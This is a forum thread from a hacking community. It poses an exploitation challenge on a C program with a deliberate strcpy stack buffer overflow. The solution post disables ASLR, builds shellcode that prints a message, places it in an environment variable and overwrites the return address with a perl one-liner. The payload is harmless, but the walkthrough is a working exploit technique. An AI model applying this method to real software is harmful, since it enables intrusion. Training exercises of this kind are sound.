![]() |
|
|||||||
| Competition a0tu's commuinity competitions. Join in the fun! |
![]() |
|
|
Thread Tools | Display Modes |
|
#1
|
|||
|
|||
|
Ok, this time round we're going for something a little more advanced.
Using the same code as before (It'll be listed below), you must find a way of making the program print "<handle> was here". It can be done in any way, as long as you don't change the code. I have done this myself, so I know what to expect from it! Anyway, for those who don't want to click back to the first competition, here's the code again: Code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void hidden(){
printf("Well done!\n");
exit(0);
}
int main(int argc, char *argv[]){
char buffer[5];
if(argc<2){
printf("Usage: %s <your name>\n",argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf("Your name is: %s\n",buffer);
return 0;
}
Notes: I did both of these on a linux box.. Note, however, that Linux is not needed to pass these competitions! I just used it because the live cd that was used had debuggers, etc. For those of you who want this live cd (it's the hacking one - a load of useful tools, compilers, etc) check out the "Ask and ye shall receive" threat.. I posted a torrent there. I'd say that perl is the only real 'tool' you'd need.. Best of luck folks. I'll post the answer in a week.
__________________
Twitch` Last edited by Twitch; 19-10-2008 at 11:51 AM. |
|
#2
|
|||
|
|||
|
Ok, here's something that may help most of you.. Since the kernel 2.6.12, a countermeasure called ALSR is used to randomize the beginning of the stack. This means, that we have no way of figuring out where our environment variables will be. It makes a lot of the processes involved with this sort of exploiting rather difficult, so here's how to disable it..
Code:
twitch@home:~ $ sudo su - root@home:~ # echo 0 > /proc/sys/kernel/randomize_va_space root@home:~ # exit logout twitch@home:~ $ UPDATE: Ok, it's been a week since I posted this, and no ones messaged me their suggestions yet.. So here's the solution! Code:
; This is the hello3.s program BITS 32 jmp short one two: pop ecx xor eax,eax mov al,4 xor ebx,ebx inc ebx xor edx,edx mov dl,15 int 80h mov al,1 dec ebx int 80h one: call two db "Hello, world!",0x0a,0x0d $ nasm hello3.s PHP Code:
$ gcc getenvaddr.c -o getenvaddr And here is how I did it: Code:
user@home ~/dev $ nasm hello3.s user@home ~/dev $ hexdump -C hello3 | grep --color=auto 00 00000000 eb 11 59 b0 04 31 db 43 31 d2 b2 0f cd 80 b0 01 |..Y..1.C1.......| 00000010 4b cd 80 e8 ea ff ff ff 48 65 6c 6c 6f 2c 20 57 |K.......Hello, W| 00000020 6f 72 6c 64 21 0a 0d |orld!..| 00000027 user@home ~/dev $ export SHELLCODE=`cat hello3` user@home ~/dev $ ./getenvaddr SHELLCODE ./bug SHELLCODE will be at 0xbffffbdf user@home ~/dev $ ./bug `perl -e 'print "\xdf\xfb\xff\xbf"x8;'` □□□□□□□□ Hello, World! user@home ~/dev $
__________________
Twitch` Last edited by Twitch; 19-10-2008 at 04:31 PM. Reason: Added solution. |
![]() |
| Bookmarks |
| Tags |
| competition , exploit , hacking , programming |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|
Similar Threads
|
||||
| Thread | Thread Starter | Forum | Replies | Last Post |
| Hacking..? | death11284 | Hacking and Phreaking | 7 | 29-06-2008 09:04 PM |
| What got you into hacking? | Twitch | Hacking and Phreaking | 10 | 26-01-2008 09:12 PM |
| I'm new to hacking and want to | Nazikiller | Hacking and Phreaking | 3 | 20-08-2007 09:53 PM |
| im new to hacking | 3 | Hacking and Phreaking | 18 | 17-04-2007 07:30 PM |
| hacking with AIM | killerguppy101 | Hacking and Phreaking | 7 | 21-10-2006 12:26 AM |